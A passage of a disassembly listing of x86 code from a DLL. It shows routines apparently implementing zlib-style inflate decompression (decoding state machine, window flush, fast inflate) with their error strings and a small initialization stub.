3 add edx, ecx mov [esp+34h+var_2C], edx mov edx, [esp+34h+var_2C] mov dl, [edx+1] mov ecx, edx and edx, 0FFh shr [esp+34h+var_24], cl mov ecx, [esp+34h+var_2C] sub ebp, edx xor edx, edx mov dl, [ecx] mov [esp+34h+var_28], edx test byte ptr [esp+34h+var_28], 10h jz short loc_1000615C mov edx, [esp+34h+var_14] mov ecx, [esp+34h+var_28] and ecx, 0Fh mov [edx+8], ecx mov ecx, [esp+34h+var_2C] mov edx, [ecx+4] mov ecx, [esp+34h+var_14] mov [ecx+0Ch], edx mov edx, [esp+34h+var_14] mov dword ptr [edx], 4 jmp loc_10005D31 ; --------------------------------------------------------------------------- loc_1000615C: ; CODE XREF: sub_10005CF0+43Fj test byte ptr [esp+34h+var_28], 40h jnz short loc_10006188 mov ecx, [esp+34h+var_14] mov edx, [esp+34h+var_28] mov [ecx+0Ch], edx mov ecx, [esp+34h+var_2C] mov edx, [ecx+4] mov ecx, [esp+34h+var_14] shl edx, 3 add edx, [esp+34h+var_2C] mov [ecx+8], edx jmp loc_10005D31 ; --------------------------------------------------------------------------- loc_10006188: ; CODE XREF: sub_10005CF0+471j mov edx, [esp+34h+var_14] mov dword ptr [edx], 9 mov dword ptr [esi+18h], offset aInvalidDistanc ; "invalid distance code" mov [esp+34h+var_34], 0FFFFFFFDh mov ecx, [esp+34h+var_24] mov [ebx+20h], ecx mov [ebx+1Ch], ebp mov edx, [esp+34h+var_20] mov ecx, edi mov [esi+4], edx mov edx, esi sub ecx, [esi] add [esi+8], ecx mov [esi], edi mov [ebx+34h], eax mov eax, ebx mov ecx, [esp+34h+var_34] call sub_100065AC jmp loc_10006596 ; --------------------------------------------------------------------------- loc_100061CE: ; CODE XREF: sub_10005CF0+50j ; DATA XREF: sub_10005CF0:off_10005D47o mov edx, [esp+34h+var_14] ; jumptable 10005D40 case 4 mov ecx, [edx+8] mov [esp+34h+var_30], ecx cmp ebp, [esp+34h+var_30] jnb short loc_10006239 loc_100061DF: ; CODE XREF: sub_10005CF0+547j cmp [esp+34h+var_20], 0 jz short loc_100061ED xor edx, edx mov [esp+34h+var_34], edx jmp short loc_1000621B ; --------------------------------------------------------------------------- loc_100061ED: ; CODE XREF: sub_10005CF0+4F4j mov ecx, [esp+34h+var_24] mov [ebx+20h], ecx mov [ebx+1Ch], ebp mov edx, [esp+34h+var_20] mov ecx, edi mov [esi+4], edx mov edx, esi sub ecx, [esi] add [esi+8], ecx mov [esi], edi mov [ebx+34h], eax mov eax, ebx mov ecx, [esp+34h+var_34] call sub_100065AC jmp loc_10006596 ; --------------------------------------------------------------------------- loc_1000621B: ; CODE XREF: sub_10005CF0+4FBj dec [esp+34h+var_20] mov ecx, ebp mov dl, [edi] inc edi and edx, 0FFh add ebp, 8 shl edx, cl or [esp+34h+var_24], edx cmp ebp, [esp+34h+var_30] jb short loc_100061DF loc_10006239: ; CODE XREF: sub_10005CF0+4EDj mov ecx, [esp+34h+var_30] mov edx, ds:dword_10009A0C[ecx*4] mov ecx, [esp+34h+var_14] and edx, [esp+34h+var_24] add [ecx+0Ch], edx mov ecx, [esp+34h+var_30] shr [esp+34h+var_24], cl mov edx, [esp+34h+var_14] sub ebp, [esp+34h+var_30] mov dword ptr [edx], 5 loc_10006265: ; CODE XREF: sub_10005CF0+50j ; DATA XREF: sub_10005CF0:off_10005D47o mov edx, [esp+34h+var_14] ; jumptable 10005D40 case 5 mov ecx, eax sub ecx, [edx+0Ch] mov [esp+34h+var_18], ecx mov edx, [esp+34h+var_14] mov ecx, [edx+0Ch] mov edx, eax sub edx, [ebx+28h] cmp ecx, edx jbe loc_10006391 mov ecx, [esp+34h+var_14] mov edx, [ecx+0Ch] mov ecx, eax sub ecx, [ebx+28h] sub edx, ecx mov ecx, [ebx+2Ch] sub ecx, edx mov [esp+34h+var_18], ecx jmp loc_10006391 ; --------------------------------------------------------------------------- loc_100062A2: ; CODE XREF: sub_10005CF0+6A9j cmp [esp+34h+var_1C], 0 jnz loc_10006364 cmp eax, [ebx+2Ch] jnz short loc_100062D3 mov edx, [ebx+30h] cmp edx, [ebx+28h] jz short loc_100062D3 mov eax, [ebx+28h] cmp eax, [ebx+30h] jnb short loc_100062CA mov edx, [ebx+30h] sub edx, eax dec edx jmp short loc_100062CF ; --------------------------------------------------------------------------- loc_100062CA: ; CODE XREF: sub_10005CF0+5D0j mov edx, [ebx+2Ch] sub edx, eax loc_100062CF: ; CODE XREF: sub_10005CF0+5D8j mov [esp+34h+var_1C], edx loc_100062D3: ; CODE XREF: sub_10005CF0+5C0j ; sub_10005CF0+5C8j cmp [esp+34h+var_1C], 0 jnz loc_10006364 mov [ebx+34h], eax mov ecx, [esp+34h+var_34] mov edx, esi mov eax, ebx call sub_100065AC mov [esp+34h+var_34], eax mov eax, [ebx+34h] cmp eax, [ebx+30h] jnb short loc_10006300 mov edx, [ebx+30h] sub edx, eax dec edx jmp short loc_10006305 ; --------------------------------------------------------------------------- loc_10006300: ; CODE XREF: sub_10005CF0+606j mov edx, [ebx+2Ch] sub edx, eax loc_10006305: ; CODE XREF: sub_10005CF0+60Ej mov [esp+34h+var_1C], edx cmp eax, [ebx+2Ch] jnz short loc_1000632F mov ecx, [ebx+30h] cmp ecx, [ebx+28h] jz short loc_1000632F mov eax, [ebx+28h] cmp eax, [ebx+30h] jnb short loc_10006326 mov edx, [ebx+30h] sub edx, eax dec edx jmp short loc_1000632B ; --------------------------------------------------------------------------- loc_10006326: ; CODE XREF: sub_10005CF0+62Cj mov edx, [ebx+2Ch] sub edx, eax loc_1000632B: ; CODE XREF: sub_10005CF0+634j mov [esp+34h+var_1C], edx loc_1000632F: ; CODE XREF: sub_10005CF0+61Cj ; sub_10005CF0+624j cmp [esp+34h+var_1C], 0 jnz short loc_10006364 mov ecx, [esp+34h+var_24] mov [ebx+20h], ecx mov [ebx+1Ch], ebp mov edx, [esp+34h+var_20] mov ecx, edi mov [esi+4], edx mov edx, esi sub ecx, [esi] add [esi+8], ecx mov [esi], edi mov [ebx+34h], eax mov eax, ebx mov ecx, [esp+34h+var_34] call sub_100065AC jmp loc_10006596 ; --------------------------------------------------------------------------- loc_10006364: ; CODE XREF: sub_10005CF0+5B7j ; sub_10005CF0+5E8j ... xor edx, edx mov [esp+34h+var_34], edx mov ecx, [esp+34h+var_18] mov dl, [ecx] mov [eax], dl inc [esp+34h+var_18] inc eax dec [esp+34h+var_1C] mov ecx, [esp+34h+var_18] cmp ecx, [ebx+2Ch] jnz short loc_1000638A mov edx, [ebx+28h] mov [esp+34h+var_18], edx loc_1000638A: ; CODE XREF: sub_10005CF0+691j mov ecx, [esp+34h+var_14] dec dword ptr [ecx+4] loc_10006391: ; CODE XREF: sub_10005CF0+590j ; sub_10005CF0+5ADj mov edx, [esp+34h+var_14] cmp dword ptr [edx+4], 0 jnz loc_100062A2 mov ecx, [esp+34h+var_14] xor edx, edx mov [ecx], edx jmp loc_10005D31 ; --------------------------------------------------------------------------- loc_100063AC: ; CODE XREF: sub_10005CF0+50j ; DATA XREF: sub_10005CF0:off_10005D47o cmp [esp+34h+var_1C], 0 ; jumptable 10005D40 case 6 jnz loc_1000646E cmp eax, [ebx+2Ch] jnz short loc_100063DD mov ecx, [ebx+30h] cmp ecx, [ebx+28h] jz short loc_100063DD mov eax, [ebx+28h] cmp eax, [ebx+30h] jnb short loc_100063D4 mov edx, [ebx+30h] sub edx, eax dec edx jmp short loc_100063D9 ; --------------------------------------------------------------------------- loc_100063D4: ; CODE XREF: sub_10005CF0+6DAj mov edx, [ebx+2Ch] sub edx, eax loc_100063D9: ; CODE XREF: sub_10005CF0+6E2j mov [esp+34h+var_1C], edx loc_100063DD: ; CODE XREF: sub_10005CF0+6CAj ; sub_10005CF0+6D2j cmp [esp+34h+var_1C], 0 jnz loc_1000646E mov [ebx+34h], eax mov ecx, [esp+34h+var_34] mov edx, esi mov eax, ebx call sub_100065AC mov [esp+34h+var_34], eax mov eax, [ebx+34h] cmp eax, [ebx+30h] jnb short loc_1000640A mov edx, [ebx+30h] sub edx, eax dec edx jmp short loc_1000640F ; --------------------------------------------------------------------------- loc_1000640A: ; CODE XREF: sub_10005CF0+710j mov edx, [ebx+2Ch] sub edx, eax loc_1000640F: ; CODE XREF: sub_10005CF0+718j mov [esp+34h+var_1C], edx cmp eax, [ebx+2Ch] jnz short loc_10006439 mov ecx, [ebx+30h] cmp ecx, [ebx+28h] jz short loc_10006439 mov eax, [ebx+28h] cmp eax, [ebx+30h] jnb short loc_10006430 mov edx, [ebx+30h] sub edx, eax dec edx jmp short loc_10006435 ; --------------------------------------------------------------------------- loc_10006430: ; CODE XREF: sub_10005CF0+736j mov edx, [ebx+2Ch] sub edx, eax loc_10006435: ; CODE XREF: sub_10005CF0+73Ej mov [esp+34h+var_1C], edx loc_10006439: ; CODE XREF: sub_10005CF0+726j ; sub_10005CF0+72Ej cmp [esp+34h+var_1C], 0 jnz short loc_1000646E mov ecx, [esp+34h+var_24] mov [ebx+20h], ecx mov [ebx+1Ch], ebp mov edx, [esp+34h+var_20] mov ecx, edi mov [esi+4], edx mov edx, esi sub ecx, [esi] add [esi+8], ecx mov [esi], edi mov [ebx+34h], eax mov eax, ebx mov ecx, [esp+34h+var_34] call sub_100065AC jmp loc_10006596 ; --------------------------------------------------------------------------- loc_1000646E: ; CODE XREF: sub_10005CF0+6C1j ; sub_10005CF0+6F2j ... xor edx, edx mov [esp+34h+var_34], edx mov ecx, [esp+34h+var_14] mov dl, [ecx+8] mov [eax], dl inc eax dec [esp+34h+var_1C] mov ecx, [esp+34h+var_14] xor edx, edx mov [ecx], edx jmp loc_10005D31 ; --------------------------------------------------------------------------- loc_1000648E: ; CODE XREF: sub_10005CF0+50j ; DATA XREF: sub_10005CF0:off_10005D47o cmp ebp, 7 ; jumptable 10005D40 case 7 jbe short loc_1000649B sub ebp, 8 inc [esp+34h+var_20] dec edi loc_1000649B: ; CODE XREF: sub_10005CF0+7A1j mov [ebx+34h], eax mov ecx, [esp+34h+var_34] mov edx, esi mov eax, ebx call sub_100065AC mov [esp+34h+var_34], eax mov eax, [ebx+34h] cmp eax, [ebx+30h] jnb short loc_100064BD mov edx, [ebx+30h] sub edx, eax dec edx jmp short loc_100064C2 ; --------------------------------------------------------------------------- loc_100064BD: ; CODE XREF: sub_10005CF0+7C3j mov edx, [ebx+2Ch] sub edx, eax loc_100064C2: ; CODE XREF: sub_10005CF0+7CBj mov ecx, [ebx+30h] cmp ecx, [ebx+34h] jz short loc_100064F8 mov edx, [esp+34h+var_24] mov [ebx+20h], edx mov [ebx+1Ch], ebp mov ecx, [esp+34h+var_20] mov [esi+4], ecx mov edx, edi sub edx, [esi] add [esi+8], edx mov [esi], edi mov [ebx+34h], eax mov ecx, [esp+34h+var_34] mov edx, esi mov eax, ebx call sub_100065AC jmp loc_10006596 ; --------------------------------------------------------------------------- loc_100064F8: ; CODE XREF: sub_10005CF0+7D8j mov ecx, [esp+34h+var_14] mov dword ptr [ecx], 8 loc_10006502: ; CODE XREF: sub_10005CF0+50j ; DATA XREF: sub_10005CF0:off_10005D47o mov [esp+34h+var_34], 1 ; jumptable 10005D40 case 8 mov edx, [esp+34h+var_24] mov [ebx+20h], edx mov [ebx+1Ch], ebp mov ecx, [esp+34h+var_20] mov [esi+4], ecx mov edx, edi sub edx, [esi] add [esi+8], edx mov [esi], edi mov [ebx+34h], eax mov ecx, [esp+34h+var_34] mov edx, esi mov eax, ebx call sub_100065AC jmp short loc_10006596 ; --------------------------------------------------------------------------- loc_10006534: ; CODE XREF: sub_10005CF0+50j ; DATA XREF: sub_10005CF0:off_10005D47o mov [esp+34h+var_34], 0FFFFFFFDh ; jumptable 10005D40 case 9 mov ecx, [esp+34h+var_24] mov [ebx+20h], ecx mov [ebx+1Ch], ebp mov edx, [esp+34h+var_20] mov ecx, edi mov [esi+4], edx mov edx, esi sub ecx, [esi] add [esi+8], ecx mov [esi], edi mov [ebx+34h], eax mov eax, ebx mov ecx, [esp+34h+var_34] call sub_100065AC jmp short loc_10006596 ; --------------------------------------------------------------------------- loc_10006566: ; CODE XREF: sub_10005CF0+4Aj mov [esp+34h+var_34], 0FFFFFFFEh ; default mov edx, [esp+34h+var_24] mov [ebx+20h], edx mov [ebx+1Ch], ebp mov ecx, [esp+34h+var_20] mov [esi+4], ecx mov edx, edi sub edx, [esi] add [esi+8], edx mov [esi], edi mov [ebx+34h], eax mov ecx, [esp+34h+var_34] mov edx, esi mov eax, ebx call sub_100065AC loc_10006596: ; CODE XREF: sub_10005CF0+19Aj ; sub_10005CF0+2D6j ... add esp, 24h pop ebp pop edi pop esi pop ebx retn sub_10005CF0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_100065A0 proc near ; CODE XREF: sub_10004E7C+2Ep ; sub_10004F78+B3Ep push ebx mov ebx, edx mov edx, [edx+28h] xchg eax, edx call dword ptr [ebx+24h] pop ebx retn sub_100065A0 endp ; =============== S U B R O U T I N E ======================================= sub_100065AC proc near ; CODE XREF: sub_10004F78+C1p ; sub_10004F78+1B6p ... var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h push ebx push esi push edi add esp, 0FFFFFFF4h mov [esp+18h+var_14], ecx mov [esp+18h+var_18], edx mov esi, eax mov eax, [esp+18h+var_18] mov edx, [eax+0Ch] mov [esp+18h+var_10], edx mov edi, [esi+30h] cmp edi, [esi+34h] ja short loc_100065D2 mov ebx, [esi+34h] jmp short loc_100065D5 ; --------------------------------------------------------------------------- loc_100065D2: ; CODE XREF: sub_100065AC+1Fj mov ebx, [esi+2Ch] loc_100065D5: ; CODE XREF: sub_100065AC+24j sub ebx, edi mov eax, [esp+18h+var_18] mov eax, [eax+10h] cmp ebx, eax jbe short loc_100065E3 mov ebx, eax loc_100065E3: ; CODE XREF: sub_100065AC+33j test ebx, ebx jz short loc_100065F4 cmp [esp+18h+var_14], 0FFFFFFFBh jnz short loc_100065F4 xor eax, eax mov [esp+18h+var_14], eax loc_100065F4: ; CODE XREF: sub_100065AC+39j ; sub_100065AC+40j mov edx, [esp+18h+var_18] sub [edx+10h], ebx mov ecx, [esp+18h+var_18] add [ecx+14h], ebx cmp dword ptr [esi+38h], 0 jz short loc_10006619 mov ecx, ebx mov edx, edi mov eax, [esi+3Ch] call dword ptr [esi+38h] mov [esi+3Ch], eax mov edx, [esp+18h+var_18] mov [edx+30h], eax loc_10006619: ; CODE XREF: sub_100065AC+58j push ebx push edi mov ecx, [esp+20h+var_10] push ecx call sub_10003DD0 add esp, 0Ch mov eax, ebx add [esp+18h+var_10], eax add edi, eax mov eax, [esi+2Ch] cmp edi, eax jnz short loc_100066A2 mov edx, [esi+28h] cmp eax, [esi+34h] mov edi, edx jnz short loc_10006644 mov [esi+34h], edx loc_10006644: ; CODE XREF: sub_100065AC+93j mov eax, [esp+18h+var_18] mov ebx, [esi+34h] sub ebx, edi mov eax, [eax+10h] cmp ebx, eax jbe short loc_10006655 mov ebx, eax loc_10006655: ; CODE XREF: sub_100065AC+A5j test ebx, ebx jz short loc_10006666 cmp [esp+18h+var_14], 0FFFFFFFBh jnz short loc_10006666 xor eax, eax mov [esp+18h+var_14], eax loc_10006666: ; CODE XREF: sub_100065AC+ABj ; sub_100065AC+B2j mov edx, [esp+18h+var_18] sub [edx+10h], ebx mov ecx, [esp+18h+var_18] add [ecx+14h], ebx cmp dword ptr [esi+38h], 0 jz short loc_1000668B mov ecx, ebx mov edx, edi mov eax, [esi+3Ch] call dword ptr [esi+38h] mov [esi+3Ch], eax mov edx, [esp+18h+var_18] mov [edx+30h], eax loc_1000668B: ; CODE XREF: sub_100065AC+CAj push ebx push edi mov ecx, [esp+20h+var_10] push ecx call sub_10003DD0 add esp, 0Ch mov eax, ebx add [esp+18h+var_10], eax add edi, eax loc_100066A2: ; CODE XREF: sub_100065AC+89j mov edx, [esp+18h+var_18] mov ecx, [esp+18h+var_10] mov [edx+0Ch], ecx mov [esi+30h], edi mov eax, [esp+18h+var_14] add esp, 0Ch pop edi pop esi pop ebx retn sub_100065AC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_100066BC proc near ; CODE XREF: sub_10005CF0+D7p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp add esp, 0FFFFFFD4h push ebx push esi push edi mov [ebp+var_8], ecx mov [ebp+var_4], edx mov edx, [ebp+arg_0] mov esi, [edx] mov edx, [ebp+arg_0] mov ecx, [edx+4] mov [ebp+var_14], ecx mov ecx, [ebp+arg_4] mov edx, [ebp+arg_4] mov ebx, [ecx+1Ch] mov ecx, [ebp+arg_4] mov edx, [edx+20h] mov ecx, [ecx+34h] mov [ebp+var_18], ecx mov ecx, [ebp+arg_4] mov ecx, [ecx+30h] cmp ecx, [ebp+var_18] jbe short loc_10006705 mov ecx, [ebp+arg_4] mov ecx, [ecx+30h] sub ecx, [ebp+var_18] dec ecx jmp short loc_1000670E ; --------------------------------------------------------------------------- loc_10006705: ; CODE XREF: sub_100066BC+3Bj mov ecx, [ebp+arg_4] mov ecx, [ecx+2Ch] sub ecx, [ebp+var_18] loc_1000670E: ; CODE XREF: sub_100066BC+47j mov [ebp+var_1C], ecx mov eax, ds:dword_10009A0C[eax*4] mov [ebp+var_20], eax mov eax, [ebp+var_4] mov ecx, ds:dword_10009A0C[eax*4] mov [ebp+var_24], ecx loc_10006728: ; CODE XREF: sub_100066BC+408j cmp ebx, 14h jnb short loc_10006746 loc_1000672D: ; CODE XREF: sub_100066BC+88j dec [ebp+var_14] mov ecx, ebx mov al, [esi] inc esi and eax, 0FFh add ebx, 8 shl eax, cl or edx, eax cmp ebx, 14h jb short loc_1000672D loc_10006746: ; CODE XREF: sub_100066BC+6Fj mov ecx, [ebp+var_20] and ecx, edx shl ecx, 3 add ecx, [ebp+var_8] mov [ebp+var_C], ecx xor eax, eax mov al, [ecx] mov [ebp+var_10], eax test eax, eax jnz short loc_10006786 mov ecx, [ebp+var_C] mov al, [ecx+1] mov ecx, eax and eax, 0FFh shr edx, cl mov ecx, [ebp+var_C] sub ebx, eax mov al, [ecx+4] mov ecx, [ebp+var_18] mov [ecx], al inc [ebp+var_18] dec [ebp+var_1C] jmp loc_10006AB7 ; --------------------------------------------------------------------------- loc_10006786: ; CODE XREF: sub_100066BC+A1j ; sub_100066BC+2FFj mov eax, [ebp+var_C] mov al, [eax+1] mov ecx, eax and eax, 0FFh shr edx, cl sub ebx, eax test byte ptr [ebp+var_10], 10h jz loc_1000698B and [ebp+var_10], 0Fh mov ecx, [ebp+var_C] sub ebx, [ebp+var_10] mov eax, [ecx+4] mov ecx, [ebp+var_10] mov ecx, ds:dword_10009A0C[ecx*4] and ecx, edx add eax, ecx mov ecx, [ebp+var_10] shr edx, cl cmp ebx, 0Fh jnb short loc_100067E2 loc_100067C6: ; CODE XREF: sub_100066BC+124j dec [ebp+var_14] mov cl, [esi] inc esi mov edi, ecx mov ecx, ebx and edi, 0FFh add ebx, 8 shl edi, cl or edx, edi cmp ebx, 0Fh jb short loc_100067C6 loc_100067E2: ; CODE XREF: sub_100066BC+108j mov ecx, [ebp+var_24] and ecx, edx shl ecx, 3 add ecx, [ebp+arg_8] mov [ebp+var_C], ecx movzx ecx, byte ptr [ecx] mov [ebp+var_10], ecx loc_100067F6: ; CODE XREF: sub_100066BC+25Fj mov ecx, [ebp+var_C] mov cl, [ecx+1] shr edx, cl mov ecx, [ebp+var_C] movzx ecx, byte ptr [ecx+1] sub ebx, ecx test byte ptr [ebp+var_10], 10h jz loc_100068EE and [ebp+var_10], 0Fh cmp ebx, [ebp+var_10] jnb short loc_10006836 loc_1000681A: ; CODE XREF: sub_100066BC+178j dec [ebp+var_14] mov cl, [esi] inc esi mov edi, ecx mov ecx, ebx and edi, 0FFh add ebx, 8 shl edi, cl or edx, edi cmp ebx, [ebp+var_10] jb short loc_1000681A loc_10006836: ; CODE XREF: sub_100066BC+15Cj mov edi, [ebp+var_10] mov ecx, [ebp+var_C] mov edi, ds:dword_10009A0C[edi*4] mov ecx, [ecx+4] and edi, edx add ecx, edi mov [ebp+var_28], ecx sub ebx, [ebp+var_10] mov ecx, [ebp+var_10] shr edx, cl sub [ebp+var_1C], eax mov ecx, [ebp+arg_4] mov edi, [ebp+var_18] sub edi, [ecx+28h] cmp edi, [ebp+var_28] jb short loc_10006893 mov ecx, [ebp+var_18] dec eax sub ecx, [ebp+var_28] mov [ebp+var_2C], ecx mov ecx, [ebp+var_2C] mov edi, [ebp+var_18] mov cl, [ecx] mov [edi], cl inc [ebp+var_2C] inc [ebp+var_18] mov ecx, [ebp+var_2C] mov edi, [ebp+var_18] mov cl, [ecx] mov [edi], cl inc [ebp+var_2C] inc [ebp+var_18] dec eax jmp short loc_100068D6 ; --------------------------------------------------------------------------- loc_10006893: ; CODE XREF: sub_100066BC+1A8j mov ecx, [ebp+arg_4] mov edi, [ebp+var_18] sub edi, [ecx+28h] mov ecx, [ebp+var_28] sub ecx, edi mov [ebp+var_10], ecx mov ecx, [ebp+arg_4] mov ecx, [ecx+2Ch] sub ecx, [ebp+var_10] mov [ebp+var_2C], ecx cmp eax, [ebp+var_10] jbe short loc_100068D6 sub eax, [ebp+var_10] loc_100068B8: ; CODE XREF: sub_100066BC+20Fj mov ecx, [ebp+var_2C] mov edi, [ebp+var_18] mov cl, [ecx] mov [edi], cl inc [ebp+var_2C] inc [ebp+var_18] dec [ebp+var_10] jnz short loc_100068B8 mov ecx, [ebp+arg_4] mov ecx, [ecx+28h] mov [ebp+var_2C], ecx loc_100068D6: ; CODE XREF: sub_100066BC+1D5j ; sub_100066BC+1F7j ... mov ecx, [ebp+var_2C] mov edi, [ebp+var_18] mov cl, [ecx] mov [edi], cl inc [ebp+var_2C] inc [ebp+var_18] dec eax jnz short loc_100068D6 jmp loc_10006AB7 ; --------------------------------------------------------------------------- loc_100068EE: ; CODE XREF: sub_100066BC+14Fj test byte ptr [ebp+var_10], 40h jnz short loc_10006920 mov ecx, [ebp+var_C] mov ecx, [ecx+4] shl ecx, 3 add [ebp+var_C], ecx mov ecx, [ebp+var_10] mov ecx, ds:dword_10009A0C[ecx*4] and ecx, edx shl ecx, 3 add [ebp+var_C], ecx mov ecx, [ebp+var_C] movzx ecx, byte ptr [ecx] mov [ebp+var_10], ecx jmp loc_100067F6 ; --------------------------------------------------------------------------- loc_10006920: ; CODE XREF: sub_100066BC+236j mov eax, [ebp+arg_0] mov ecx, ebx shr ecx, 3 mov dword ptr [eax+18h], offset aInvalidDista_0 ; "invalid distance code" mov eax, [ebp+arg_0] mov eax, [eax+4] sub eax, [ebp+var_14] cmp eax, ecx jbe short loc_10006943 mov ecx, ebx shr ecx, 3 jmp short loc_10006945 ; --------------------------------------------------------------------------- loc_10006943: ; CODE XREF: sub_100066BC+27Ej mov ecx, eax loc_10006945: ; CODE XREF: sub_100066BC+285j mov eax, ecx add [ebp+var_14], eax sub esi, eax shl eax, 3 sub ebx, eax mov eax, [ebp+arg_4] mov [eax+20h], edx mov edx, [ebp+arg_4] mov [edx+1Ch], ebx mov eax, [ebp+arg_0] mov edx, [ebp+var_14] mov [eax+4], edx mov eax, esi mov ecx, [ebp+arg_0] mov edx, [ebp+arg_0] sub eax, [ecx] add [edx+8], eax mov ecx, [ebp+arg_0] mov [ecx], esi mov eax, [ebp+arg_4] mov edx, [ebp+var_18] mov [eax+34h], edx mov eax, 0FFFFFFFDh jmp loc_10006B23 ; --------------------------------------------------------------------------- loc_1000698B: ; CODE XREF: sub_100066BC+DFj test byte ptr [ebp+var_10], 40h jnz short loc_100069E8 mov ecx, [ebp+var_C] mov eax, [ecx+4] shl eax, 3 add [ebp+var_C], eax mov ecx, [ebp+var_10] mov eax, ds:dword_10009A0C[ecx*4] and eax, edx shl eax, 3 add [ebp+var_C], eax mov ecx, [ebp+var_C] xor eax, eax mov al, [ecx] mov [ebp+var_10], eax test eax, eax jnz loc_10006786 mov ecx, [ebp+var_C] mov al, [ecx+1] mov ecx, eax and eax, 0FFh shr edx, cl mov ecx, [ebp+var_C] sub ebx, eax mov al, [ecx+4] mov ecx, [ebp+var_18] mov [ecx], al inc [ebp+var_18] dec [ebp+var_1C] jmp loc_10006AB7 ; --------------------------------------------------------------------------- loc_100069E8: ; CODE XREF: sub_100066BC+2D3j test byte ptr [ebp+var_10], 20h jz short loc_10006A4F mov eax, [ebp+arg_0] mov ecx, ebx shr ecx, 3 mov eax, [eax+4] sub eax, [ebp+var_14] cmp eax, ecx jbe short loc_10006A07 mov ecx, ebx shr ecx, 3 jmp short loc_10006A09 ; --------------------------------------------------------------------------- loc_10006A07: ; CODE XREF: sub_100066BC+342j mov ecx, eax loc_10006A09: ; CODE XREF: sub_100066BC+349j mov eax, ecx add [ebp+var_14], eax sub esi, eax shl eax, 3 sub ebx, eax mov eax, [ebp+arg_4] mov [eax+20h], edx mov edx, [ebp+arg_4] mov [edx+1Ch], ebx mov eax, [ebp+arg_0] mov edx, [ebp+var_14] mov [eax+4], edx mov eax, esi mov ecx, [ebp+arg_0] mov edx, [ebp+arg_0] sub eax, [ecx] add [edx+8], eax mov ecx, [ebp+arg_0] mov [ecx], esi mov eax, [ebp+arg_4] mov edx, [ebp+var_18] mov [eax+34h], edx mov eax, 1 jmp loc_10006B23 ; --------------------------------------------------------------------------- loc_10006A4F: ; CODE XREF: sub_100066BC+330j mov ecx, [ebp+arg_0] mov dword ptr [ecx+18h], offset aInvalidLiter_0 ; "invalid literal/length code" mov eax, [ebp+arg_0] mov ecx, ebx shr ecx, 3 mov eax, [eax+4] sub eax, [ebp+var_14] cmp eax, ecx jbe short loc_10006A72 mov ecx, ebx shr ecx, 3 jmp short loc_10006A74 ; --------------------------------------------------------------------------- loc_10006A72: ; CODE XREF: sub_100066BC+3ADj mov ecx, eax loc_10006A74: ; CODE XREF: sub_100066BC+3B4j mov eax, ecx add [ebp+var_14], eax sub esi, eax shl eax, 3 sub ebx, eax mov eax, [ebp+arg_4] mov [eax+20h], edx mov edx, [ebp+arg_4] mov [edx+1Ch], ebx mov eax, [ebp+arg_0] mov edx, [ebp+var_14] mov [eax+4], edx mov eax, esi mov ecx, [ebp+arg_0] mov edx, [ebp+arg_0] sub eax, [ecx] add [edx+8], eax mov ecx, [ebp+arg_0] mov [ecx], esi mov eax, [ebp+arg_4] mov edx, [ebp+var_18] mov [eax+34h], edx mov eax, 0FFFFFFFDh jmp short loc_10006B23 ; --------------------------------------------------------------------------- loc_10006AB7: ; CODE XREF: sub_100066BC+C5j ; sub_100066BC+22Dj ... cmp [ebp+var_1C], 102h jb short loc_10006ACA cmp [ebp+var_14], 0Ah jnb loc_10006728 loc_10006ACA: ; CODE XREF: sub_100066BC+402j mov ecx, [ebp+arg_0] mov eax, [ecx+4] mov ecx, ebx shr ecx, 3 sub eax, [ebp+var_14] cmp eax, ecx jbe short loc_10006AE3 mov ecx, ebx shr ecx, 3 jmp short loc_10006AE5 ; --------------------------------------------------------------------------- loc_10006AE3: ; CODE XREF: sub_100066BC+41Ej mov ecx, eax loc_10006AE5: ; CODE XREF: sub_100066BC+425j mov eax, ecx add [ebp+var_14], eax sub esi, eax shl eax, 3 sub ebx, eax mov eax, [ebp+arg_4] mov [eax+20h], edx mov edx, [ebp+arg_4] mov [edx+1Ch], ebx mov eax, [ebp+arg_0] mov edx, [ebp+var_14] mov [eax+4], edx mov eax, esi mov ecx, [ebp+arg_0] mov edx, [ebp+arg_0] sub eax, [ecx] add [edx+8], eax mov ecx, [ebp+arg_0] mov [ecx], esi mov eax, [ebp+arg_4] mov edx, [ebp+var_18] mov [eax+34h], edx xor eax, eax loc_10006B23: ; CODE XREF: sub_100066BC+2CAj ; sub_100066BC+38Ej ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn 0Ch sub_100066BC endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp xor eax, eax push ebp push offset loc_10006B51 push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_1000A670 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_10006B58 loc_10006B50: ; CODE XREF: CODE:10006B56j retn ; --------------------------------------------------------------------------- loc_10006B51: ; DATA XREF: CODE:10006B32o jmp loc_10002B60 ; --------------------------------------------------------------------------- jmp short loc_10006B50 ; --------------------------------------------------------------------------- loc_10006B58: ; CODE XREF: CODE:loc_10006B50j ; DATA XREF: CODE:10006B4Bo pop ebp retn ; --------------------------------------------------------------------------- align 4 sub ds:dword_1000A670, 1 retn ; =============== S U B R O U T I N E ======================================= sub_10006B64 proc near ; CODE XREF: sub_100076B8+1Ep mov edx, eax shr edx, 3 add eax, edx add eax, 100h retn sub_10006B64 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10006B74 proc near ; CODE XREF: sub_100076B8+50p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp add esp, 0FFFFFFE8h push ebx push esi push edi mov [ebp+var_8], ecx mov [ebp+var_4], edx xor ecx, ecx xor esi, esi mov [ebp+var_C], ecx lea ecx, [ebp+arg_0] xor edx, edx test ecx, ecx mov [ebp+var_10], 1 